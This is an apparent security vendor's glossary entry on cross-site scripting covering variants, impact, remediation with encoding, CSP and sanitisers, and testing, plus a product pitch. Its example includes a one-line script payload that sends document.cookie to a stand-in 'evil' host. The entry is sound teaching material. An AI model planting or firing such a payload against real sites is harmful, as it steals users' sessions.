Cross-Site Scripting (XSS)
Also known as: XSS
Cross-Site Scripting (XSS) is a client-side injection flaw in which an application includes untrusted data in a web page without proper escaping or sanitization, causing a victim's browser to execute attacker-controlled script. XSS comes in reflected, stored, and DOM-based variants, and can lead to session theft, account takeover, and full compromise of the user's session context.
How it works
- 1Untrusted input reaches an HTML, attribute, JavaScript, or URL context without correct encoding.
- 2The browser parses the injected markup or script as part of the trusted page.
- 3The payload runs with the victim's privileges - reading the DOM, cookies, or tokens.
- 4The attacker exfiltrates session data or performs actions as the victim.
Example
<!-- Reflected value rendered without encoding -->
<div>Results for: <%= query %></div>
<!-- query = <script>fetch('//evil/'+document.cookie)</script> -->Impact
XSS enables session hijacking, credential theft, keylogging, phishing within a trusted origin, and can pivot to CSRF-style actions or admin-panel takeover.
Remediation
- Context-aware output encoding for HTML, attribute, JavaScript, and URL contexts.
- Deploy a strict Content-Security-Policy to reduce impact of any residual injection.
- Use frameworks that auto-escape by default and avoid dangerous sinks (innerHTML, dangerouslySetInnerHTML).
- Sanitize rich text with a vetted library (e.g. DOMPurify) on the correct side.
Detection & testing
Probe every reflection point across HTML, attribute, and script contexts; test stored inputs end-to-end; and review DOM sinks for client-side XSS. Validate with a non-destructive proof.
Impactr tests for Cross-Site Scripting (XSS) the way an attacker would - investigating, chaining it with related flaws, and proving impact with a reproducible exploit before it reaches your report.
Test my app for XSSTools
Frequently asked questions
What is the difference between reflected, stored, and DOM XSS?
Reflected XSS echoes input from the current request; stored XSS persists the payload server-side and serves it to other users; DOM XSS happens entirely in client-side JavaScript that writes untrusted data into a dangerous sink.
Does a Content-Security-Policy replace output encoding?
No. CSP is defense-in-depth that limits impact, but correct, context-aware output encoding remains the primary control against XSS.